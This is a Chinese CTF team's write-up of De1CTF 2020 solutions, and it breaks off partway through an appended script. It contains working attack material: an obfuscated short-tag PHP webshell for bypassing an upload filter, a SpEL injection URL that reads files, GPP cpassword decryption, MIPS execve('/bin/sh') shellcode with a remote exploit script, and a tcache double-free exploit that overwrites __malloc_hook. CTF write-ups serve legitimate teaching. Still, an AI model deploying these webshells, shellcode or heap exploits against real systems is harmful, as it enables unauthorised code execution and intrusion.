Timeline Sec CTF组成立了两个月,终于迎来了第二次比赛(被师傅们锤),以下分享的是我们在De1ta2020比赛中针对部分题目的解题思路。
Web
check in:
抓包,随便上传了个马,发现存在内容黑名单
过滤了ph,尝试用短标签绕过
本地测试了下,这样的短标签可以执行任意系统命令,system也可以
于是我们去选择构造如下的payload上传,让他直接执行命令
最终读到flag
De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}
Hard_Pentest_1:
解题的出发角度:短标签+无字母数字webshell应该可以绕过上传,fuzz了一天终于可以执行系统命令
上传的php文件内容如下,后缀可以用大小写绕过:
<?=$_=[]?>
<?=$_=@"$_"?>
<?=$_=$_['!'=='@']?>
<?=$___=$_?>
<?= $__=$_?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?>
<?= $__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $___.=$__?>
<?=$____='_'?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?= $____.=$__?>
<?= $_=$$____?>
<?= $___($_[__]($_[_]))?>
发现拿到的web主机是192.168.0.11
域控是192.168.0.12
可以直接ping。
拷贝到本地
C:\web\uploads\c4886f6b02da81f479721e440dc3aa6f\De1CTF2020.lab> findstr /c:"userName=" /c:"cpassword=" /si *.xml
Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml:
<properties action="U" newname="" fullname="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changelogon="1" nochange="0" <="" p="">
neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/>
然后利用微软公开的密钥解密得到
HintZip_Pass/zL1PpP@sSwO3d
再去解压解密压缩包得到
flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}
Get flag2 Hint:
hint1: You need De1ta user to get flag2
hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].
hint3: Pay attention to the extended rights of De1ta user on the domain.
hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt)
PS: Please do not damage the environment after getting permission, thanks QAQ.
后续的第二题渗透思路也是完善的,可是不懂为什么一直不成功……
calc:
打开靶机,通过每次计算时的发包不难找到提交参数的url http://106.52.164.141/spel/calc?calc=算式
那就应该是spel注入相关的知识,在p牛的codebreaking中的javacon遇到过。
首先关于spel表达式,有如下一些tips
在找未被过滤的java读取文件的方法的时候,发现了java.util.Scanner函数,参考 https://blog.csdn.net/earthhour/article/details/79603100
然后就是实例化的问题了,由于过滤了比较关键的T()就尝试 new,发现 new 也被过滤了,但是可以使用 new 绕过
最终 payload
http://106.52.164.141/spel/calc?calc=neW%20java.util.Scanner(neW%20java.io.File(%22/flag%22)).nextLine()
flag : De1CTF{NobodyKnowsMoreThanTrumpAboutJava}
PWN
code_runner:
题目只给了一个服务器地址,nc上去之后会要求输入一个长度为3的字符串,要求字符串的sha256加密后得到指定的hash值。由于字符串长度不长,此步骤爆破即可。
之后得到一个base64编码的字符串,复制到本地解码之后发现是一个gz文件,再次解压缩就给了一个二进制文件,使用flie
命令发现这是个MIPS文件
# file real_code
real_code: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=054a53e5fce96f662a15137fe88cdfbffbbbb9c8, stripped
因此需要先搭建环境,GitHub有个项目叫做arm_now,可以简单快速的搭建MIPS调试环境,使用此命令开启环境。
arm_now start mips32el --sync --redir tcp:1337:1337
。其中,--sync
指将当前目录复制并加载到虚拟环境中,--redir tcp:1337:1337
指将端口转发到本机,便于之后的gdb调试。
接着先静态分析下,由于是MIPS文件,IDA并不能很好的反编译汇编代码,因此很难去理解程序在做什么。此时可以用Ghidra去加载文件并反编译,反编译代码如下。
undefined4 main(void)
{
int iVar1;
undefined8 uVar2;
ulonglong uVar3;
timeval tStack292;
timeval tStack284;
undefined auStack276 [256];
int iStack20;
iStack20 = __stack_chk_guard;
gettimeofday(&tStack292,(__timezone_ptr_t)0x0);
memset(auStack276,0,0x100);
FUN_00401dc0();
iVar1 = FUN_00401e88();
if (iVar1 != 0) {
gettimeofday(&tStack284,(__timezone_ptr_t)0x0);
tStack292.tv_usec =
((tStack284.tv_sec - tStack292.tv_sec) * 1000000 + tStack284.tv_usec) - tStack292.tv_usec;
__divdi3(tStack292.tv_usec,0,1000000,0);
uVar2 = __moddi3(tStack292.tv_usec,0,1000000,0);
printf("======== %lld.%llds ========\n");
FUN_00401f64(tStack292.tv_usec,0);
puts("Your time comes.\n> ");
uVar3 = __divdi3(tStack292.tv_usec,0,100000,0,(int)((ulonglong)uVar2 >> 0x20),(int)uVar2);
if (((int)uVar3 == 0) && (uVar3 < 0xd00000000)) {
read(0,auStack276,(int)(uVar3 >> 0x20) * -4 + 0x34);
}
(*(code *)auStack276)();
}
if (iStack20 == __stack_chk_guard) {
return 0;
}
__stack_chk_fail();
}
读源码过程中,发现了几个关键点
iVar1 = FUN_00401e88();
我们需要使得iVar1不为0,才有机会进入到下面的内容(*(code *)auStack276)();
程序试图直接执行栈上内容((int)uVar3 == 0) && (uVar3 < 0xd00000000)
条件达成时,程序直接读取shellcode,并执行后两点表示如果我们执行到读取shellcode,那么基本上就可以完全控制这个程序了。因此,我们要先解决第一点。进一步分析FUN_00401e88()
,了解到程序会先读取0x100的输入,然后对这个输入做一系列的验证,只有通过所有验证函数才可以返回一个非零值。这些验证函数,每一个函数处理4字节的输入,然后如果此4字节通过验证,会调用另一个函数再去处理接下来的4字节;如果此4字节没有通过验证,则直接返回0。这种模式我们称之为线性,也就是说一旦有4字节的输入不正确,接下来的所有输入都不会被验证。
线性模式的解题利器就是angr,我用一段非常简单的脚本就可以跑出来这个程序的正确输入
p = angr.Project("real_code")
state = p.factory.blank_state(addr=0x401e88)
sm = p.factory.simgr(state)
sm.explore(find=0x400b30)
# 0x400b30为最内层return非零值的汇编指令
print(sm.found[0].posix.dumps(0))
这段代码没有经过优化,并且是用的explore函数,会返回不唯一解,因此在我的VM上大概跑了15分钟。跑出结果后,将解写到solution文件中,然后在MIPS环境中使用./real_code < solution
去看看有没有成功。如果程序打印出"======== %lld.%llds ========\n"
就代表至少这个输入通过了验证函数。
但当我尝试去连接远程的时候,并没有打印出我想要的内容。同时,我发现每次返回的二进制文件其实不同。我将两次不同的文件反编译,不同之处就在于验证函数。仔细观察验证函数,发现验证函数的每一层其实都有一个模板,看下面的两个函数伪代码说明
short FUN_004017b4(param_1){
short uVar1;
if (((((param_1[2] ^ param_1[3]) == 0x4d) && (param_1[3] == 0xce)) &&
((uint)param_1[0] == ((uint)(param_1[2] ^ param_1[3]) & 0x7f) << 1)) &&
(param_1[1] == (byte)(param_1[2] ^ param_1[3] ^ param_1[0]))) {
uVar1 = FUN_0040166c(param_1 + 4);
}
else {
uVar1 = 0;
}
return uVar1;
}
short FUN_004018c0(param_1){
short uVar1;
if (((((param_1[0] ^ param_1[1]) == 0x4e) && (param_1[1] == 0x1b)) &&
((uint)param_1[2] == ((uint)(param_1[0] ^ param_1[1]) & 0x7f) << 1)) &&
(param_1[3] == (byte)(param_1[0] ^ param_1[1] ^ param_1[2]))) {
uVar1 = FUN_004017b4(param_1 + 4);
}
else {
uVar1 = 0;
}
return uVar1;
}
其中,我们把四个字节看做一个数组,每个不同程序中改变的值有一些常数和数组的下标顺序。由此,我们就可以针对这个模板用z3-solver去写一个求解脚本,下面是针对上述模板的求解函数。
def case1(p, verbose=False):
# p: list of ints
# e.g. for FUN_004018c0
# p = [0, 1, 0x4e, 1, 0x1b, 2, 0, 1, 0x7f, 3, 0, 1, 2]
s = Solver()
a = BitVec('a', 32)
A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
s.add(A[p[0]] ^ A[p[1]] == p[2])
s.add(A[p[3]] == p[4])
s.add(A[p[5]] == ((A[p[6]] ^ A[p[7]]) & p[8]) << 1)
s.add(A[p[9]] == A[p[10]] ^ A[p[11]] ^ A[p[12]])
if verbose:
print(s)
if s.check() == sat:
m = s.model()
return m[a].as_long()
else:
print("1unsat :(")
exit()
我在不同的程序中一共发现6种模板,写出求解脚本后,需要写一个提取变量(数组下标和常量)的脚本,这里我用了capstone去转换并分析汇编代码,此段代码过于繁琐,并且是纯体力劳动,因此不把代码贴出来了。在求解成功之后,程序会读取你的名字(8字节长),以写入排行榜,这里和解题无关。
再之后是读取shellcode,看这一段代码
uVar3 = __divdi3(tStack292.tv_usec,0,100000,0,uVar2 >> 0x20,uVar2);
if (((int)uVar3 == 0) && (uVar3 < 0xd00000000)) {
read(0,auStack276,(int)(uVar3 >> 0x20) * -4 + 0x34);
}
(*(code *)auStack276)();
虽然我不太了解divdi3函数的究竟进行了什么操作,但这里可以大胆预测读取的长度和求解时间长短有关,并且理论最大值为0x34字节(read函数的第三个参数),接下来就是构造shellcode。由于MIPS的特殊性,execve("/bin/sh", 0, 0)
是不可取的,而是需要execve("/bin/sh", ["/bin/sh", 0], 0)
。在本地测试时,由于解是提前求好的并且没有网络延迟,程序基本上可以读取理论最大值的长度。但在远程,较长的shellcode不能保证完全被读取,所以我们需要使用ROP的技巧修改read的长度并且再一次返回到read,读取一段长shellcode,并且执行这段shellcode。最终shellcode如下。
第一段:
"\x00\x01\x06\x24" li a2, 256
"\xdc\xff\xff\x27" addiu ra, ra, -36
"\x08\x00\xe0\x03" jr ra
"\x00\x00\x00\x00" * 10 nop * 10 这里是padding
第二段:
"\xff\xff\x06\x28" slti a2, zero, -1
"\xff\xff\xd0\x04" bltzal a2, 0x7fda0380
"\xe0\xff\xbd\x27" addiu sp, sp, -32
"\x18\x00\xe4\x27" addiu a0, ra, 24
"\xe8\xff\xa4\xaf" sw a0, -24(sp)
"\xec\xff\xa0\xaf" sw zero, -20(sp)
"\xe8\xff\xa5\x23" addi a1, sp, -24
"\xab\x0f\x02\x24" li v0, 4011
"\x0c\x01\x01\x01" syscall 0x40404
"/bin/sh"
只要程序读取前三行(12字节)的shellcode,便会将a2寄存器设置成256,并且跳转到ra-36的位置。ra寄存器储存的值是pc(program counter),由于MIPS的指令长度都是4,那ra-36也就是9个指令之前,也就正好是调用read函数的地方。MIPS中传参使用的寄存器是a0-a3,而在这个例子中,我们需要的寄存器值都没有发生改变,也就是说在read(0,auStack276,(int)(uVar3 >> 0x20) * -4 + 0x34);
中我们只需要改变a2的值为256就可以达到`read(0,auStack276,256);
的效果。
MIPS中的\x00\x00\x00\x00
代表的就是nop。这里我们假设第一段shellcode的内容没有完全被读完(由于时间限制),而是只读取了前3行指令和n个 nop,那此时stdin中剩下的内容就是(10 - n)个nop以及真正生成shellcode的指令。在第二次读取时,程序就会执行(10 - n)个nop,再执行完整的shellcode,至此,shell被生成。
解题脚本如下:
bar.py:z3求解脚本
rev.py:分析程序,提取变量,调用rev.py返回脚本
brute.py:执行exp
bar.py
#!/usr/bin/env python
from z3 import *
def abs(x):
return If(x >= 0, x, -x)
def case1(p, verbose=False):
s = Solver()
a = BitVec('a', 32)
A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
s.add(A[p[0]] ^ A[p[1]] == p[2])
s.add(A[p[3]] == p[4])
s.add(A[p[5]] == ((A[p[6]] ^ A[p[7]]) & p[8]) << 1)
s.add(A[p[9]] == A[p[10]] ^ A[p[11]] ^ A[p[12]])
if verbose:
print(s)
if s.check() == sat:
m = s.model()
return m[a].as_long()
else:
print("1unsat :(")
exit()
def case2(p, verbose=False):
s = Solver()
a = BitVec('a', 32)
A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
s.add(A[p[0]] + A[p[1]] + A[p[2]] == p[3])
s.add(A[p[4]] + A[p[5]] + A[p[6]] == p[7])
s.add(A[p[8]] + A[p[9]] + A[p[10]] == p[11])
s.add(A[p[12]] + A[p[13]] + A[p[14]] == p[15])
if verbose:
print(s)
if s.check() == sat:
m = s.model()
return m[a].as_long()
else:
print p
print("2unsat :(")
exit()
def case3(p, verbose=False):
s = Solver()
a = BitVec('a', 32)
A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
s.add(A[p[0]] == p[1])
s.add(A[p[2]] == p[3])
s.add(A[p[4]] == (A[p[5]] * A[p[6]]) & 0xff)
s.add(A[p[7]] == (A[p[8]] * A[p[9]] + A[p[10]]
* A[p[11]] - A[p[12]] * A[p[13]]) & 0xff)
if verbose:
print(s)
if s.check() == sat:
m = s.model()
return m[a].as_long()
else:
print p
print("3unsat :(")
exit()
def case4(p, verbose=False):
s = Solver()
a = BitVec('a', 32)
A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
s.add(A[p[0]] + A[p[1]] != p[2])
s.add(A[p[3]] + A[p[4]] != p[5])
s.add(A[p[6]] + A[p[7]] != p[8])
if verbose:
print(s)
if s.check() == sat:
m = s.model()
return m[a].as_long()
else:
print p
print("4unsat :(")
exit()
# vals: first 4 values in [], in the order they are encouter in the code
def case5(p, verbose=False):
s = Solver()
a = BitVec('a', 32)
A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
# print p
v1 = A[p[0]] * A[p[0]] - A[p[1]] * A[p[1]]
v2 = A[p[2]] * A[p[2]] - A[p[3]] * A[p[3]]
v1b = A[p[4]] * A[p[4]] - A[p[5]] * A[p[5]]
v2b = A[p[6]] * A[p[6]] - A[p[7]] * A[p[7]]
if p[8] == 1:
# v2 <= v1
s.add(abs(v1) >= abs(v2))
else:
# v2 > v1
s.add(abs(v2) > abs(v1))
if p[9] == 1:
s.add(abs(v1b) >= abs(v2b))
else:
s.add(abs(v2b) > abs(v1b))
if verbose:
print(s)
if s.check() == sat:
m = s.model()
'''
if p[9] == 0 and p[8] == 0:
print "---"
print (m[a].as_long() & 255)*(m[a].as_long() & 255) - (m[a].as_long() >> 24 & 255)*(m[a].as_long() >> 24 & 255)
print (m[a].as_long() >> 8 & 255)*(m[a].as_long() >> 8 & 255) - (m[a].as_long() >> 16 & 255)*(m[a].as_long() >> 16 & 255)
print "---"
print "---"
print hex(m[a].as_long())
'''
return m[a].as_long()
else:
print("unsat :(")
exit()
def case6(p, verbose=False):
s = Solver()
a = BitVec('a', 32)
A = [a & 0xff, (a >> 8) & 0xff, (a >> 16) & 0xff, (a >> 24) & 0xff]
s.add(A[p[0]] == A[p[1]])
s.add(A[p[2]] == A[p[3]])
s.add(A[p[4]] == p[5])
s.add(A[p[6]] == p[7])
if verbose:
print(s)
if s.check() == sat:
m = s.model()
return m[a].as_long()
else:
print("6unsat :(")
exit()
rev.py:内容过长,附在文章末尾,师傅们有需自取
brute.py:
import hashlibfrom pwn import *import osfrom rev import generatePayloadimport timeimport codesha = open("sha", "rb").read().split("\n")dict_sha = {}print "loading"for x in range(len(sha)): dict_sha[sha[x]] = xprint "loaded dict"# Used a saved dict of sha256# as I thought this would reduce some time taken# but this is not the key to solve the chall# just a waste of space but saves time to bruteforceshellcode = "\x00\x01\x06\x24\xdc\xff\xff\x27\x08\x00\xe0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x06\x28\xff\xff\xd0\x04\xe0\xff\xbd\x27\x18\x00\xe4\x27\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"def exp(): b6gz = open("b6gz", "wb") r = remote("106.53.114.216", 9999, level="debug") r.recvuntil("=========Pow========\n") hash_value = r.recvuntil("\"\n", drop=True).split("== \"")[1] length = int(r.recvuntil("\n", drop=True).split("== ")[1]) guess_all = list(chr(x) for x in range(0x0, 0x100)) guess = p32(dict_sha[hash_value], endian="big")[1:] r.sendline(guess) r.recvuntil("Binary Dump:\n===============\n") dumps = r.recvuntil("\n==", drop=True) b6gz.write(dumps) b6gz.close() os.system("base64 -d b6gz > b6.gz") os.system("gzip -cd b6.gz > real_code") payload = generatePayload("real_code") name = "shell\x00\x00\x00" r.recvuntil("> ") r.send(payload) r.recvuntil("> ") r.send(name) r.recvuntil("> ") r.send(shellcode) r.interactive() r.close()# enter exp() manually# as the dict file is loaded into memory# I don't want to reload every time# and sometimes generatePayload() does not work properly# if it throws an exption, ignore it and exp() againcode.interact(local=locals())
最终得到flag:
De1ctf{9d94bc3d3f57f1b33aee728b5d32d6d473df8df3}
stl_container:
C++写的菜单堆,glibc2.27,有4个功能,每个功能最多创建两个chunk,queue和stack不存在show功能
vector存在double free,先申请出8个chunk,全部free掉,把tcache填满,然后再free一次vector中的chunk0,就能将main_arena链如unsorted bin中,就能leak libc_base了
大概像这样
leak完之后将queue和stack的都申请回来,再释放掉,然后再申请一个vector中的chunk0
再次double free,紧接着vector申请一个chunk,里面放malloc_hook-0x16,然后调试看,大概会像这样
然后再申请一个vector中的chunk,就会申请到以malloc_hook-0x16为地址的chunk,改malloc_hook为one_gadget就gg了
exp:
#!/usr/bin/env python
#coding=utf-8
from pwn import*
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './stl_container'
local = 0
if local == 1:
p=process(binary)
else:
p=remote("134.175.239.26",8848)
elf=ELF(binary)
libc=ELF("libc-2.27.so")
def Ladd(content):
p.recvuntil(">> ")
p.send("1")
p.recvuntil(">> ")
p.send("1")
p.recvuntil("data:")
p.send(content)
def vadd(content):
p.recvuntil(">> ")
p.send("2")
p.recvuntil(">> ")
p.send("1")
p.recvuntil("data:")
p.send(content)
def qadd(content):
p.recvuntil(">> ")
p.send("3")
p.recvuntil(">> ")
p.send("1")
p.recvuntil("data:")
p.send(content)
def sadd(content):
p.recvuntil(">> ")
p.send("4")
p.recvuntil(">> ")
p.send("1")
p.recvuntil("data:")
p.send(content)
def Lfree(index):
p.recvuntil(">> ")
p.send("1")
p.recvuntil(">> ")
p.send("2")
p.recvuntil("index?")
p.send(str(index))
def vfree(index):
p.recvuntil(">> ")
p.send("2")
p.recvuntil(">> ")
p.send("2")
p.recvuntil("index?")
p.send(str(index))
def qfree():
p.recvuntil(">> ")
p.send("3")
p.recvuntil(">> ")
p.send("2")
def sfree():
p.recvuntil(">> ")
p.send("4")
p.recvuntil(">> ")
p.send("2")
def Lshow(index):
p.recvuntil(">> ")
p.send("1")
p.recvuntil(">> ")
p.send("3")
p.recvuntil("index?")
p.send(str(index))
def vshow(index):
p.recvuntil(">> ")
p.send("2")
p.recvuntil(">> ")
p.send("3")
p.recvuntil("index?")
p.send(str(index))
def qshow(index):
p.recvuntil(">> ")
p.send("3")
p.recvuntil(">> ")
p.send("3")
p.recvuntil("index?")
p.send(str(index))
def sshow(index):
p.recvuntil(">> ")
p.send("4")
p.recvuntil(">> ")
p.send("3")
p.recvuntil("index?")
p.send(str(index))
def exp():
Ladd(" ") # 0
Ladd(" ") # 1
vadd(" ") # 2
vadd(" ") # 3
qadd(" ") # 4
qadd(" ") # 5
sadd(" ") # 6
sadd(" ") # 7
Lfree(0)
Lfree(1)
vfree(0)
vfree(1)
qfree()
qfree()
sfree()
sfree()
vfree(0)
qadd(" ")
qadd(" ")
sadd(" ")
sadd(" ")
vadd(" ")
vshow(0)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = leak - 0x3ebc20
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
log.success("libc_base==>" + hex(libc_base))
log.success("malloc_hook==>" + hex(malloc_hook))
one_gadget = libc_base + 0x4f322
print "one==>" + hex(one_gadget)
payload = p64(malloc_hook)
qfree()
qfree()
sfree()
sfree()
vadd(" ")
vfree(0)
vfree(0)
vadd(p64(malloc_hook-0x16))
payload = "a" *0x16 + p64(one_gadget)
vadd(payload)
#gdb.attach(p)
p.recvuntil(">> ")
p.send("1")
p.recvuntil(">> ")
p.send("1")
p.sendline("cat flag")
p.interactive()
exp()
最终得到flag: De1CTF{NeuEr_u51ng_O6j3ct_1n_VecT0r}
Misc
Welcome_to_the_2020_de1ctf:
tg走一走,flag就到手
check_in!
https://t.me/De1CTF
De1CTF{m4y_th3_f0rc3_b3_w1th_y0u}
Misc杂烩/Misc Chowder
从流量包里提取出几张图片,有用的一张是一个链接:
访问之后下载了一个readme.zip
解压后是一个docx文件,直接改掉docx的后缀为zip,查看到一个 You_found_me_Orz.zip
然后通过azpr去爆破这个zip的密码,成功爆破出密码为DE34Q1
得到图片:You_found_me_Orz.jpg
通过binwalk处理此图片,得到以下内容:
然后这里没有直接看到flag,flag.txt里的内容也是假的,7z解压打开能直接看到ntfs隐写的文件,找到flag在666.jpg_fffffffflllll.txt
flag:
De1CTF{E4Sy_M1sc_By_Jaivy_31b229908cb9bb}
mc_joinin
Hurry up and join in the game.
We’re waiting for you.
mc_joinin's flag is: De1CTF{md5(flag)}
在题目环境 Web 页面获取到信息如下:
Minecraft 20.20 is developed by De1ta Team based on 1.12
Headless: Client isn't necessary.
首先尝试通过 HMCL 启动器安装 Java 1.12 版本的游戏资源,尝试离线模式加入多人游戏。
提示版本不兼容,无法连接至服务器。
在 Github 上检索 Minecraft client 找到仓库 [pyCraft](https://github.com/ammaraskar/pyCraft):
运行 start.py 尝试连接服务器时提示:
VersionMismatch: Server's protocol version of 997 (MC2020) is not supported.
在 ./minecraft/__init__.py 中 229 行添加:'MC2020': 997, 再次尝试:
成功连接到服务器, Wireshark 捕获流量进行分析:
HIDE FLAG ONE imgur.com/a/ZOrErVM,进而获取到图片:
StegSolve 检查时在 Red plane 1 通道获取到隐写信息:
对图片进行旋转反向变换后获取到 De1CTF{MC2020_Pr0to3l_Is_Funny-ISn't_It?}
最终 flag: De1CTF{33426ff09d87c2c988f1c3ff250bcd72}
life:
No Game No Life!
binwalk 检查 game.jpg 发现有附件文件,`-e` 进行分离:
获取到加密压缩包 flag.zip (内含 txt.pilf.txt)及 passphare.png,需要从 png 中获取 key 解压 flag.zip,passphare.png(27 * 27) 如下:
尝试作为 QR 、DataMatrix 进行修复识别无果,后通过 Google 搜索 "CTF" "life" "game" 时发现该图很可能出自 [Conway's Game of Life](https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life)(一款模拟细胞演变状态的细胞自动机)。
参考 [Sunshine CTF 2019 Golly Gee Willikers](https://medium.com/ctf-writeups/sunshine-ctf-2019-write-up-c7174c0fb56) , 首先将 passphare.png 转换为 01 矩阵如下:
000000000000010000000000000
000000000000000000000000000
001000000000010000000000000
000001010010100001001011000
000110101100101111011001000
000101010101000001011010000
010100000100000110000000100
000110101101100101010010000
000101010101011001101100100
000010101000010001001101000
000100000101100110000000111
000000011110001011001101101
001010010000001000110000010
000001110010110001001101011
001010011011000100000010011
000101111000110100111100010
000001100000011001010101011
000010011001110010101011011
001100001100101000010001001
000000100101000101100000011
111001100100110001001111011
011100100010111010001010010
100000001000100001101001011
100100000010010000110000110
101011110100111111100110010
100011111110110110011111110
001001000011110011101010011
再通过如下脚本转换为 [Extended RLE Format](http://golly.sourceforge.net/Help/formats.html):
lines = open("1.txt", "r").read().split("\n")
content = ""
header = "x = 27, y = 27, rule = B3/S23\n"
for line in lines:
line = line.replace("1", "o")
line = line.replace("0", "b")
idx = 0
currState = "u"
currNum = 0
while idx < 28:
# flush the last one
if idx == 27:
if currNum > 1:
content += str(currNum) + currState
content += "$"
else:
content += line[26]
content += "$"
break
# init state
if currState == "u":
currState = line[idx]
currNum = 1
# already inited
# and same state of cell
elif currState == line[idx]:
currNum += 1
elif currState != line[idx]:
# print("flush now")
result = str(currNum) + currState if currNum != 1 else currState
content += result
currState = line[idx]
currNum = 1
# print(line[idx], str(currNum) + currState, content)
idx += 1
print(header + content)
在 https://copy.sh/life/ 导入 Extend RLE Format state 如下:
x = 27, y = 27, rule = B3/S23
13bo13b$27b$2bo10bo13b$5bobo2bobo4bo2bob2o3b$3b2obob2o2bob4ob2o2bo3b$3bobobobobo5bob2obo4b$bobo5bo5b2o7bo2b$3b2obob2ob2o2bobobo2bo4b$3bobobobobob2o2b2ob2o2bo2b$4bobobo4bo3bo2b2obo3b$3bo5bob2o2b2o7b3o$7b4o3bob2o2b2ob2obo$2bobo2bo6bo3b2o5bob$5b3o2bob2o3bo2b2obob2o$2bobo2b2ob2o3bo6bo2b2o$3bob4o3b2obo2b4o3bob$5b2o6b2o2bobobobob2o$4bo2b2o2b3o2bobobob2ob2o$2b2o4b2o2bobo4bo3bo2bo$6bo2bobo3bob2o6b2o$3o2b2o2bo2b2o3bo2b4ob2o$b3o2bo3bob3obo3bobo2bob$o7bo3bo4b2obo2bob2o$o2bo6bo2bo4b2o4b2ob$obob4obo2b7o2b2o2bob$o3b7ob2ob2o2b7ob$2bo2bo4b4o2b3obobo2b2o$
观察下一个 Step发现 QR Code,获取到 key: AJTC8ADEVRA13AR.
进而解压分离出的zip,获取到 txt.pilf.txt , 对其内容先进行 flip 反转后 Base64 解码,再得到的结果反转后 Base16 解码获取到最终 flag:De1CTF{l3t_us_s7art_th3_g4m3!}.
Timeline Sec CTF组长期招收Re、Crypto和智能合约方向的CTFer,为啥长期招收这两个方向,不如看看这次wp分享少了哪两个方向的题解(手动狗头),欢迎感兴趣的师傅私聊我们的公众号!
我们的战队刚成立了两个月,目前只经历了两场比赛的锻炼,名次一次比一次有所进步,TLS团队内部的学习氛围浓厚,会定时组织分享交流和内部赛练习,希望在时间的长河中,我们都能相遇。
最后附上code_runner(rev.py):
from elftools.elf.elffile import ELFFile
from capstone import *
import code as cd
from bar import *
from pwn import p32
def generatePayload(path):
with open(path, 'rb') as f:
# with open('ver/bin', 'rb') as f:
# with open('ver/code3', 'rb') as f:
elf = ELFFile(f)
code = elf.get_section_by_name('.text')
ops = code.data()
addr = code['sh_addr']
md = Cs(CS_ARCH_MIPS, CS_MODE_32 + CS_MODE_LITTLE_ENDIAN)
n = 0
check_functions = []
instructions = {}
for i in md.disasm(ops, addr):
instructions[i.address] = [i.mnemonic, i.op_str]
if "jal" in i.mnemonic:
n += 1
if n > 5 and n < 22:
# print "{}:\t{}\t{}".format(hex(i.address), i.mnemonic, i.op_str)
check_functions.append(int(i.op_str, 16))
check_functions.sort()
# print list(hex(term) for term in check_functions)
type1 = {}
type2 = {}
type3 = {}
type4 = {}
type5 = {}
type6 = {}
for func_addr in check_functions:
# type 1
if instructions[func_addr + 0xe0][0] == u"jal" or instructions[func_addr + 0xe0 - 8][0] == u"jal" or instructions[func_addr + 0xe0 + 4][0] == u"jal" or instructions[func_addr + 0xdc][0] == u"jal":
para_offset = func_addr + 0x18
parameters = []
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
parameters.append(u"0")
para_offset += 0x8
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x10
else:
parameters.append(u"0")
para_offset += 0xc
# constant
curr_ins = instructions[para_offset]
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0x8
else:
parameters.append(u"0")
para_offset += 0x4
# constant
curr_ins = instructions[para_offset]
if curr_ins[0] == 'addiu':
parameters.append(unicode(int(curr_ins[1].split(", ")[-1], 16)))
para_offset += 0x10
else:
parameters.append(unicode(0))
para_offset += 0xc
# for the following, this is to test
# many circumstances have not been considered
curr_ins = instructions[para_offset]
if 'lbu' not in curr_ins[0]:
parameters.append(curr_ins[1].split(", ")[-1])
para_offset += 0xc
else:
